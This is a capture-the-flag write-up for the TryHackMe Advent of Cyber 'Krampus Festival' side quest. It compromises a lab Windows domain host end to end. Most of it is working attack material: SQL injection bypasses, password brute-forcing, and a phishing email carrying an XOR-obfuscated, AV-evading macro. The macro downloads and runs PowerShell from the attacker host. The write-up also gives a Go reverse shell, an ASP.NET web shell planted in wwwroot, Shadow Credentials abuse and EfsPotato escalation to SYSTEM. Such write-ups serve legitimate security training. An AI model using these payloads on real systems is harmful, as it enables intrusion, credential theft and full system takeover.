T4: Krampus Festival

The Krampus is out to snatch your naughty elves. Will they end up all in his bag, or will you find a way to take control back?

The following post by 0xb0b is licensed under CC BY 4.0


L4 Keycard

The keycard for the fourth side quest is hidden in the task for the 17th day of the TryHackMe Advent Of Cyber. The following task mentions that they got the CCTV running again. It seems like we have to look for a service running on the walkthrough machine: Good thing we had a backup of the CCTV application from yesterday. We got it running again in no time!

Day 17: He analyzed and analyzed till his analyzer was sore!

We start with an Nmap scan on the walkthrough machine to find the camera application if necessary. We have 5 open ports.

On port 8080 we find the Wareville CCTV application.

We click on Login and then enter our credentials and intercept the request using Burp Suite.

We save the request and use it for SQLMap to test the login for SQL Injection.

The login is vulnerable to SQL injection. We could now dump the database using time-based blind boolean, but it would take far too long. We now know that it is vulnerable and try to bypass the login.

With the following payload we can bypass the login and get redirected to my_cameras.php.

admin' or 1=1 -- -

Here we can select different cameras and view the recordings.

The cameras are selected via camper.php?cam_id=1. We test for SQL injection again.

First, we intercept a request and save it so that we can then use it for SQLMap.

We are able to dump the database.

sqlmap -r req2.txt --dump

The cctv_db has table recordings with a lot of entries to the path /recordings/rec1337-deleted.mp4.

Database: cctv_db
Table: recordings
[53 entries]
+----+--------+---------------------------------+---------+---------------------+
| id | cam_id | path                            | minutes | date_recording      |
+----+--------+---------------------------------+---------+---------------------+
| 1  | 11     | /recordings/rec1337-deleted.mp4 | 5       | 2024-12-10 11:27:28 |
| 9  | 5      | /recordings/rec1337-deleted.mp4 | 10      | 2024-12-05 22:38:35 |
| 10 | 3      | /recordings/rec1337-deleted.mp4 | 19      | 2024-12-13 06:50:33 |
| 11 | 8      | /recordings/rec1337-deleted.mp4 | 13      | 2024-12-15 14:17:00 |
| 12 | 13     | /recordings/rec1337-deleted.mp4 | 23      | 2024-12-05 02:53:21 |
| 13 | 3      | /recordings/rec1337-deleted.mp4 | 12      | 2024-12-09 19:35:45 |
| 14 | 3      | /recordings/rec1337-deleted.mp4 | 26      | 2024-12-16 17:18:40 |
| 15 | 4      | /recordings/rec1337-deleted.mp4 | 25      | 2024-12-05 03:46:06 |
| 16 | 4      | /recordings/rec1337-deleted.mp4 | 2       | 2024-12-06 14:54:32 |
| 17 | 13     | /recordings/rec1337-deleted.mp4 | 22      | 2024-12-16 15:14:21 |
| 18 | 5      | /recordings/rec1337-deleted.mp4 | 16      | 2024-12-14 07:28:07 |
| 19 | 6      | /recordings/rec1337-deleted.mp4 | 3       | 2024-12-04 15:37:33 |
| 20 | 1      | /recordings/rec1337-deleted.mp4 | 6       | 2024-12-11 07:43:22 |
| 21 | 9      | /recordings/rec1337-deleted.mp4 | 15      | 2024-12-09 15:44:14 |
| 22 | 5      | /recordings/rec1337-deleted.mp4 | 1       | 2024-12-13 07:31:05 |
| 23 | 11     | /recordings/rec1337-deleted.mp4 | 13      | 2024-12-04 14:22:42 |
| 24 | 4      | /recordings/rec1337-deleted.mp4 | 29      | 2024-12-14 01:20:15 |
| 25 | 12     | /recordings/rec1337-deleted.mp4 | 4       | 2024-12-07 11:33:10 |
| 26 | 12     | /recordings/rec1337-deleted.mp4 | 13      | 2024-12-10 05:45:04 |
| 27 | 5      | /recordings/rec1337-deleted.mp4 | 23      | 2024-12-11 18:05:52 |
| 28 | 1      | /recordings/rec1337-deleted.mp4 | 8       | 2024-12-11 01:14:07 |
| 29 | 12     | /recordings/rec1337-deleted.mp4 | 17      | 2024-12-02 23:52:59 |
| 30 | 2      | /recordings/rec1337-deleted.mp4 | 12      | 2024-12-12 19:42:36 |
| 31 | 2      | /recordings/rec1337-deleted.mp4 | 5       | 2024-12-06 02:54:01 |
| 32 | 11     | /recordings/rec1337-deleted.mp4 | 13      | 2024-12-07 03:22:19 |
| 33 | 10     | /recordings/rec1337-deleted.mp4 | 16      | 2024-12-16 08:09:30 |
| 34 | 12     | /recordings/rec1337-deleted.mp4 | 13      | 2024-12-11 06:40:32 |
| 35 | 9      | /recordings/rec1337-deleted.mp4 | 5       | 2024-12-06 08:54:12 |
| 36 | 10     | /recordings/rec1337-deleted.mp4 | 26      | 2024-12-13 00:29:24 |
| 37 | 8      | /recordings/rec1337-deleted.mp4 | 4       | 2024-12-12 23:44:25 |
| 38 | 6      | /recordings/rec1337-deleted.mp4 | 28      | 2024-12-08 21:13:54 |
| 39 | 2      | /recordings/rec1337-deleted.mp4 | 29      | 2024-12-04 10:56:14 |
| 40 | 12     | /recordings/rec1337-deleted.mp4 | 4       | 2024-12-10 14:59:26 |
| 41 | 12     | /recordings/rec1337-deleted.mp4 | 29      | 2024-12-06 18:08:31 |
| 42 | 6      | /recordings/rec1337-deleted.mp4 | 18      | 2024-12-16 21:44:16 |
| 43 | 6      | /recordings/rec1337-deleted.mp4 | 5       | 2024-12-15 06:15:46 |
| 44 | 13     | /recordings/rec1337-deleted.mp4 | 16      | 2024-12-08 14:06:04 |
| 45 | 11     | /recordings/rec1337-deleted.mp4 | 22      | 2024-12-12 03:43:01 |
| 46 | 5      | /recordings/rec1337-deleted.mp4 | 2       | 2024-12-02 00:16:53 |
| 47 | 2      | /recordings/rec1337-deleted.mp4 | 17      | 2024-12-04 14:15:21 |
| 48 | 9      | /recordings/rec1337-deleted.mp4 | 10      | 2024-12-15 22:26:09 |
| 49 | 4      | /recordings/rec1337-deleted.mp4 | 25      | 2024-12-16 21:24:40 |
| 50 | 2      | /recordings/rec1337-deleted.mp4 | 28      | 2024-12-03 15:44:53 |
| 51 | 10     | /recordings/rec1337-deleted.mp4 | 24      | 2024-12-14 14:30:26 |
| 52 | 13     | /recordings/rec1337-deleted.mp4 | 8       | 2024-12-13 01:17:33 |
| 53 | 13     | /recordings/rec1337-deleted.mp4 | 17      | 2024-12-04 10:56:24 |
| 54 | 6      | /recordings/rec1337-deleted.mp4 | 2       | 2024-12-14 02:49:21 |
| 55 | 13     | /recordings/rec1337-deleted.mp4 | 16      | 2024-12-08 05:17:35 |
| 56 | 3      | /recordings/rec1337-deleted.mp4 | 18      | 2024-12-13 17:59:50 |
| 57 | 9      | /recordings/rec1337-deleted.mp4 | 21      | 2024-12-11 02:06:27 |
| 58 | 11     | /recordings/rec1337-deleted.mp4 | 30      | 2024-12-13 04:32:45 |
| 59 | 9      | /recordings/rec1337-deleted.mp4 | 27      | 2024-12-15 16:24:24 |
| 60 | 12     | /recordings/rec1337-deleted.mp4 | 1       | 2024-12-05 20:23:44 |
+----+--------+---------------------------------+---------+---------------------+

We visit the path on the website, and after a short duration, the keycard appears.

Teardown Firewall

We can deactivate the firewall with the password of the keycard. We can pass the value to a website on port 21337.

Recon

After the deactivation of the firewall, we start with a Nmap scan. We have several open ports on the machine, referring to a Windows host.

We have port 53 DNS, port 80 a web server, 139 and 445 SMB, port 135 RPC, 464 Kerberos, 143 IMAP, 587 SMTP, 3389 RDP and 5985 Windows Remote Management. Interestingly, LDAP 389 and Kerberos authentication system 88 are missing for a challenge that suggests it may be AD-related.

The UDP scan shows that LDAP is there, but we can't really make use of it on UDP.

Using dnsenum to enumerate the DNS server only shows the domain socmas.corp and the name of the machine fisher.socmas.corp. This suggests that it might be a phishing related machine.

The directory scan of the website does not yield anything fruitful.

gobuster dir -u http://socmas.corp -w /usr/share/wordlists/dirb/big.txt

The same applies to the VHOST scan.

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://socmas.crop/ -H "Host:FUZZ.socmas.corp" -fw 1141

Since SMB is there, we could use NetExec to enumerate the SMB shares. We can authenticate without a username and password.

nxc smb 10.10.117.165 -u '' -p ''

But we cannot enumerate the shares. With a guest user without providing a password, we are able to enumerate the shares. There is a ChristmasShare that we are able to read.

nxc smb 10.10.117-165 -u 'guest' p '' --shares

We use smbclient to connect to the share and find the first flag. Next to the flag we find an xlsx called approved and two images. One of them has the name steg. Is this really a steganographic challenge? We use mget * to download the whole share.

smbclient //10.10.117.165/ChristmasShare

And it is indeed the first flag.

Mail Access

When we examine approved.xlsx, we see some entries that look like passwords. We save the contents to a text file called approved.txt to use later.

We are still missing some usernames. But since SMB is available and the $IPC share is readable, we can use rid bruteforce and get some usernames.

RID brute-forcing works by connecting to the IPC$ share of the target system and using the Security Account Manager Remote (SAMR) protocol to enumerate accounts. It starts with a known base RID (e.g. 500 for the administrator) and increments through potential RIDs, querying the system to see if a valid user or group exists for each one. Successful responses reveal the account names associated with those RIDs, allowing attackers to map users and groups on the target.

nxc smb 10.10.117.165 -u 'guest' -p '' --rid

We saved the result to rid.txt.

And compile it into a proper usernamelist using awk.

awk '{print $6}' rid.txt | awk -F '\\\\' '{print $2}' > usernames.txt

Since we know the domain and that some mail-related ports are open, we also create a list of possible mails with the following command:

sed 's/$/@socmas.corp/' usernames.txt > updated_usernames.txt

But there is also this stego image on the share. We try some stego tools on the images but find nothing useful. But there are two entries in the metadata of the approved.xlsx file. We have a creator called developer@test.corp and someone who modified the file called Administrator@SOCMAS.CORP.

exiftool approved.xlsx

We try to brute-force the credentials on SMTP and IMAP with our compiled list of mail addresses and the approved.txt, but do not find a valid combination. The list of usernames may come in handy later.

But there was also this user developer@test.corp. We use hydra to test for a combination with this user, but do not get a hit on SMTP.

hydra -l developer@test.corp -P approved.txt 10.10.233.55 smtp

But we get a hit on IMAP. Nice, we have access to one mail account.

hydra -l developer@test.corp -P approved.txt 10.10.233.55 imap

We can test it via telnet and log in. As well as selecting the INBOX.

A001 LOGIN developer@test.corp REDACTED
A002 LIST "" "*"
A003 SELECT INBOX

There are some mails we can fetch. But let's switch to a more convenient tool like Evolution.

A004 FETCH 1:1 (BODY[HEADER])
A005 FETCH 1:1 (BODY[TEXT])

The first email we fetch is a request from snowflakes.crawler@socmas.crop for a document containing the account details of all non-personal users.

Hi,

I hope this message finds you well.

As part of our ongoing efforts to maintain an organized and efficient 
system, we need to identify and remove user accounts that are not 
designated as personal accounts. To proceed with this initiative, we 
kindly request a document containing the account details of all 
non-personal users.

The required details include:

  * Username
  * Password
  * Email address
  * Associated department/team (if applicable)
  * Account creation date (if available)

Please provide the information in a |.docx| format by/December 25th, 
2024/ to ensure timely processing. If there are any concerns or 
additional clarifications needed, feel free to reach out to me directly.

Your assistance in this matter is greatly appreciated and plays a 
crucial role in improving our system's efficiency.

Thank you for your cooperation.

Best regards,

Evolution Setup

Before we continue, let us set up Evolution. We will add a new account and set the email address.

Next, to receive mail, we select the server type IMAP, the server socmas.corp (which we have an entry for in our /etc/hosts) and enter the username developer@test.corp.

To send the mails, we chose SMTP for the socmas.corp server on port 587. But we will not bother here, as we will send the mail via swaks, which is even faster and more convenient for testing challenges like this.

Now we can read all three mails. The fourth email is a reply from snowflakes.crawler, which we will discuss later. Here we have the mail we found using telnet.

We also get information about improved protection with an updated anti-virus system, and all web traffic is now encrypted.

The last email from snowflakes.crawler to the developer is about sending the document credentials that Snowflakes still needs. So to get a foothold, it looks like we need to trick Snowflakes into opening a malicious attachment, such as an executable or macro-enabled document.

When we send something to snowflakes.crawler, we get a message back that the attachment is not what the elf was looking for. The answers may vary.

Shell as Scrawler

Several tests were done to get a shell. One idea was to inject macros from a remote dotm template, which worked partially but not completely.

This came from the idea that only .docx formats would be accepted, based on the feedback we received by email.

But with a little test, we see that .docm documents are also accepted. We create a simple macro that simply pings our machine four times.

krampus.docm
Sub AutoOpen()
  On Error Resume Next
  Call MyMacro
  On Error GoTo 0
End Sub

Sub Document_Open()
  On Error Resume Next
  Call MyMacro
  On Error GoTo 0
End Sub

Sub MyMacro()
    Dim IPAddress As String
    Dim PingCommand As String

    ' target IP address
    IPAddress = "10.14.90.235"

    'pPing pommand
    PingCommand = "cmd.exe /c ping -n 4 " & IPAddress

    ' execute ping
    CreateObject("WScript.Shell").Run PingCommand, 0, False
End Sub

We send the macro via swaks with the following command.

swaks --to 'snowflakes.crawler@socmas.corp' \
      --from 'developer@test.corp' \
      --header 'RE: Request for Account Details to Identify Non-Personal Accounts' \
      --body 'Here is the Document!' \
      --attach-type application/octet-stream \
      --attach @krampus.docm\
      --server socmas.corp \
      --port 587 \
      --timeout 20s \
      --auth LOGIN \
      --auth-user developer@test.corp \
      --auth-password REDACTED

And get an answer from snowflakes.crawler.

At this point we can see the incoming pings using tcpdump. So docm, macros are allowed. But a simple macro that just uses a PowerShell reverse shell from revshells.com is not enough. Even downloading a netcat.exe and running it doesn't work. AV is very strict and works. It requires a more obfuscated payload.

sudo tcpdump -i tun0 icmp

Payload Preparation

This idea, powershell script, marko and binary were developed by Aquinas. All rights and credit are attributed to him.

The execution to get a reverse shell is split into three parts. First, an obfuscated Word macro that downloads a text file and executes its contents using powershell. A powershell script that downloads and runs an executable. And the executable, which is well obfuscated for AV as it is built with go to get a reverse shell.

This Word macro downloads a txt file and runs a PowerShell script.

The parameters a,b,c,d represents the octets of the IP where a and b 256 are added to the actual ip.

The dd parameter is for the port. The parameters e and f specify the name of the text file.

GetObject(winmgmts:).Get(Win32_Process).Create powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://10.14.90.235:80/run.txt'))
krampus.docm
Function Pre()
    Pre = Array(4, 7, 30, 22, 27, 0, 9, 17, 9, 31, 84, 69, 0, 20, 9, 12, 87, 13, 11, 28, 5, 7, 27, 73, 94, 7, 28, 17, 84, 72, 4, 84, 0, 12, 8, 8, 10, 25, 79, 95, 15, 68, 29, 13, 17, 91, 65, 29, 4, 3, 72, 28, 22, 2, 0, 15, 24, 79, 4, 22, 1, 24, 1, 25, 70, 7, 22, 29, 93, 22, 17, 7, 16, 24, 1, 0, 2, 24, 70, 89, 11, 29, 27, 10, 24, 7, 8, 23, 26, 7, 19, 29, 11, 20, 92, 79, 13, 24, 24, 31, 77, 64, 93)
End Function
Function Post2()
    Post2 = Array(83, 65, 64)
End Function
Function Source()
    Source = Array(3, 1, 7, 30, 14, 30, 21, 7, 95)
End Function
Function Dest()
    Dest = Array(35, 1, 7, 64, 91, 44, 49, 6, 10, 16, 17, 27, 22)
End Function
Function Key()
    Key = "thisisatesthelloworld"
End Function
Function Comb(parts)
    For i = LBound(parts) To UBound(parts) - 1:
        Comb = Comb + Trim(parts(i) + ".")
    Next
    Comb = Comb + Trim(parts(UBound(parts)))
End Function
Function Eval(equation)
    k = Key()
    For i = LBound(equation) To UBound(equation)
        j = i Mod Len(k) + 1
        kv = Asc(Mid(k, j, 1))
        res2 = res2 + Chr(equation(i) Xor kv)
    Next
    Eval = res2
End Function
Sub Test()

a = 266
b = 270
c = 90
d = 235
dd = 80
E = "run"
f = "txt"

r = Array(Str(a - 256), Str(b - 256), Str(c), Str(d))
f = Comb(r) + ":" + Trim(Str(dd)) + "/" + Comb(Array(E, f))

s = Trim(Eval(Pre())) + f + Eval(Post2())
i = Eval(Source())
j = Eval(Dest())
GetObject(i).Get(j).Create s, Null, Null, -1
' MsgBox (s)

End Sub
Sub AutoOpen()
    Test
End Sub

The Go program to get a reverse shell looks like the following.

0xb0b.go
package main

import (
    "net"
    "os/exec"
)

func main() {
    c, _ := net.Dial("tcp", "10.14.90.235:4445")
    cmd := exec.Command("powershell")
    cmd.Stdin = c
    cmd.Stdout = c
    cmd.Stderr = c
    cmd.Run()
}

This needs to be compiled on a Windows host.

The run.txt which contains the powershell script to download and run the reverse shell binary.

run.txt
$url = "http://10.14.90.235/0xb0b.exe"
$filePath = "$env:temp\0xb0b.exe"
Invoke-WebRequest -Uri $url -OutFile $filePath
if (Test-Path $filePath) {
    Start-Process -FilePath $filePath -NoNewWindow
} else {
    Write-Host "Download failed. File not found at $filePath"
}

We use swaks to send the document and have a listener set up on port 4445 and an http server on port 80 to serve the run.txt and 0xb0b.exe.

swaks --to 'snowflakes.crawler@socmas.corp' \
      --from 'developer@test.corp' \
      --header 'RE: Request for Account Details to Identify Non-Personal Accounts' \
      --body 'Here is the Document!' \
      --attach-type application/octet-stream \
      --attach @krampus.docm\
      --server socmas.corp \
      --port 587 \
      --timeout 20s \
      --auth LOGIN \
      --auth-user developer@test.corp \
      --auth-password REDACTED

After sending the mail, we get a reply from snowflakes.crawler.

A request to our http server to download run.txt and 0xb0b.exe, which eventually crashes.

And a connection back on our listener. We are the user scrawler.

User Flag

The user flag is on the user's desktop. Unfortunately it is only a domain user. Next we need to enumerate the target.

Credentials

To deliver our tools to the target we use the impacket-smbserver.

impacket-smbserver smbFolder $(pwd) -smb2support -username test -password test123

We map the \\10.14.90.235\smbFolder network share to the x: drive on the local system, using the user:test and password test123 that we have chosen.

net use x: \\10.14.90.235\smbFolder /user:test test123

Next, we use the latest version of PrivescCheck to enumerate the target machine, which does not get detected by the AV.

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML"

After running the command we get an html file with the results. We copy those to our share.

And we find some WinLogon credentials for our current user.

Portforwarding

Examining the internal ports with netstat -ano, we find the LDAP port 389 and the DC-related port 88, which we need to enumerate the machine with bloodhound-python.

netstat -ano

Next, we forward the ports using Chisel.

The latest version v1.10.1 is not detected. First, we start a Chisel server on our attacker's machine.

./chisel server -reverse --port 51234

Next, we copy the chisel.exe using our share and forward at least the ports 389 and 88 to enumerate the DC.

./chisel.exe client 10.14.90.235:51234 R:389:127.0.0.1:389 R:88:127.0.0.1:88 R:53:127.0.0.1:53 R:3268:127.0.0.1:3268

Gathering More Information

Since we have now LDAP available we use ldapdomaindump with the credentials we have now.

python ldapdomaindump.py -u 'socmas\scrawler' -p REDACTED 127.0.0.1

After running ldapdomaindump we find the credentials of the user Winterberry_Locksmith. Another Domain user we see in the bloodhound results. But more on that later.

Since we have some usernames from the rid brute-force and that password, we test those using NetExec if those were reused.

nxc smb socmas.corp -u usernames.txt -p 'REDACTED' --continue-on-success

And we get a hit for the user Krampus_Debugger and...

... KrampusIIS. This is really promising. Since an IIS user might contain the privileges to write to the C:\inetpub\wwwroot folder. And we already know there is a website hosted on port 80.

We explain exactly what this means in the attack path analysis. This is not the end of the story, because we cannot access the machine as IISKrampus using WinRM and we cannot enumerate shares. Possibly a false positive here.

With the scrawler credentials and the forwarded ports, we can now use bloodhound python. To fake the DNS queries and avoid any problems, we use dnschef beforehand.

dnschef --fakeip 127.0.0.1

Now we can use bloodhound python with the user scrawler's credentials to gather the juicy information.

bloodhound-python -d socmas.corp -c All -u 'scrawler' -p 'REDACTED' -dc 127.0.01 -ns 127.0.0.1

Attack Path Analysis

We see that the user scrawler is just a domain user, and does not control anything.

But we also found the credentials of the user KRAMPUS_DEBUGGER. This user has GenericWrite permissions on KRAMPUS_SHADOW.

GenericWrite means that we can either do a targetedKerberoast attack on the target or make use of the Shadow Credentials attack using pyWhiskers. All suggested by Bloodhound.

The Shadow Credentials attack using tools like pyWhiskers is a technique to abuse Microsoft Active Directory Certificate Services (AD CS) to escalate privileges or maintain persistence within a network.

Shadow Credentials allows us to take over an account in an Active Directory environment without directly modifying the account's attributes or password.

Furthermore, the KRAMPUS_SHADOW is member of the KRAMPUSIIS@SOCMAS.CORP Group.

And the KRAMPUSIIS@SOCMAS.CORP group is part of the REMOTE MANAGEMENT USERS GROUP, which allows us to log in to the machine using WinRM if we have the user's credentials or hash.

So the idea now is to use the shadow credential attack on the user KRAMPUS_SHADOW with the credentials we have from KRAMPUS_DEBUGGER. This will allow us to request a certificate impersonating that user, which we can then use to recover the NT hash.

With the NT hash we are able to log in to the machine using WinRM. As the user is part of the KRAMPUSIIS group, this user will be able to write to C:\inetpub/wwwroot.

We'll try to place a webshell there to get access as an IIS apppool, which will most likely have the SeImpersonate privilege set. This can be easily exploited with a potato exploit to get NT AUTHORITY SYSTEM.

Shell as Krampus_Shadow

With the credentials of KRAMPUS_DEBUGGER we run the pywhiskers exploit.

First we test the exploit via --action list.

python /opt/pywhisker/pywhisker/pywhisker.py -d 'socmas' -u 'KRAMPUS_DEBUGGER' -p 'REDACTED' --target 'KRAMPUS_SHADOW' --action 'list'

Then we add new vlaues:

pyWhisker has the ability to generate RSA keys, a X509 certificate, a KeyCredential structure, and to write the necessary information as new values of the msDs-KeyCredentialLink attribute. The certificate can be exported in a PFX format (#PKCS12, certificate + private key protected with a password) or in a PEM format (PEM certificate, PEM private key, no password needed).

python /opt/pywhisker/pywhisker/pywhisker.py -d 'socmas' -u 'KRAMPUS_DEBUGGER' -p 'ChristmasAoC2024!' --target 'KRAMPUS_SHADOW' --action 'add'

This will create us a certificate. In this case 4YomZolE.pfx.

Once the values are generated and added by pyWhisker, a TGT can be request with gettgtpkinit.py. The NT hash can then be recovered with getnthash.py.

Next, we request a TGT.

python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx 4YomZolE.pfx -pfx-pass AGqHhZ5GKISnkSNpvhDk socmas/KRAMPUS_SHADOW KRAMPUS_SHADOW.ccache

And use that TGT to recover the NT hash.

export KRB5CCNAME=KRAMPUS_SHADOW.ccache
python3 /opt/PKINITtools/getnthash.py -key 8b52e845a474cad8b8bbe65913fde86404a0d306a427c4247bf0320166144dd4 socmas/KRAMPUS_SHADOW

We can now use the recovered NT hash to log in via evil-winrm, as the user KRAMPUS_SHADOW is part of the REMOTE MANAGEMENT USERS GROUP.

Shell as IIS apppool

At C:\inetpub\wwwroot\Views\Home\Index.cshtml we find the login page. Inspecting the page with a browser, we find the cookie set and identify the web application as an asp.net application.

With a quick research we find the following webshell.

We prepare the content of Index.cshtml on the attacker machine; to initially test the execution, we just query a simple whomai.

Index.cshtml
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;

@functions {

	string ExecuteCommand(string command, string arguments = null)
	{
		var output = new System.Text.StringBuilder();
		var process = new Process();
		var startInfo = new ProcessStartInfo
		{
			FileName = command,
			Arguments = arguments,
			WorkingDirectory = HttpRuntime.AppDomainAppPath,
			RedirectStandardOutput = true,
			RedirectStandardError = true,
			UseShellExecute = false
		};

		process.StartInfo = startInfo;
		process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
		process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);

		process.Start();
		process.BeginOutputReadLine();
		process.BeginErrorReadLine();
		process.WaitForExit();

		return output.ToString();
	}
}

@{
	var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}

Output of the injected command (by Niemand):
	@cmd

To upload the Index.cshtml we make use of the upload utility of evil-WinRM.

By requesting the index page we see that we are the iis apppool\defaulapppool user.

We now prepare a web shell that will run the binary written in Go that we have already used to get a foothold. We place this accessible to the apppoluser at C:\inetpub\wwwroot\Views\Home\0xb0b.exe.

0xb0b.go
package main

import (
    "net"
    "os/exec"
)

func main() {
    c, _ := net.Dial("tcp", "10.14.90.235:4445")
    cmd := exec.Command("powershell")
    cmd.Stdin = c
    cmd.Stdout = c
    cmd.Stderr = c
    cmd.Run()
}

The web shell will simply run the binary. We again prepare a listener on port 4445.

Index.cshtml
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;

@functions {

	string ExecuteCommand(string command, string arguments = null)
	{
		var output = new System.Text.StringBuilder();
		var process = new Process();
		var startInfo = new ProcessStartInfo
		{
			FileName = command,
			Arguments = arguments,
			WorkingDirectory = HttpRuntime.AppDomainAppPath,
			RedirectStandardOutput = true,
			RedirectStandardError = true,
			UseShellExecute = false
		};

		process.StartInfo = startInfo;
		process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
		process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);

		process.Start();
		process.BeginOutputReadLine();
		process.BeginErrorReadLine();
		process.WaitForExit();

		return output.ToString();
	}
}

@{
	var cmd = ExecuteCommand("cmd.exe", "/c C:\inetpub\wwwroot\Views\Home\0xb0b.exe");
}

Output of the injected command (by Niemand):
	@cmd

We upload the Index.cshtml...

Query the index page...

And get a connection back as iis apppool\default apppool. This user has the SeImpersonatePrivilege enabled.

Shell as NT Authority System

The SeImpersonatePrivilege is a powerful Windows privilege that allows a user or process to impersonate another user's security context. There are several potato exploits for this. Since the AV is very strict, we try the EfsPotato exploit. This needs to be compiled on the target system.

Use our SMB share again to transfer the source code.

net use x: \\10.14.90.235\smbFolder /user:test test123
copy x:\EfsPotato\EfsPotato.cs .

We look for a csc compiler on the machine at C:\Windows\Microsoft.Net\Framework\.

To compile the binary we issue the following command like suggested in the repository.

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
0xb0b.go
package main

import (
    "net"
    "os/exec"
)

func main() {
    c, _ := net.Dial("tcp", "10.14.90.235:4445")
    cmd := exec.Command("powershell")
    cmd.Stdin = c
    cmd.Stdout = c
    cmd.Stderr = c
    cmd.Run()
}

We issue the follwoing command to execute the reverse shell binary in the context of NT Authority System.

C:\Windows\Temp\EfsPotato.exe C:\Users\TEMP\Documents\0xb0b.exe

We get a connection back to our listener and are NT Authroity System. We cannot find the root flag at C:\Users\Administrator\Desktop.

We query tree /f.

And find the final flag at Krampus_Proxy Desktop.

Last updated

Was this helpful?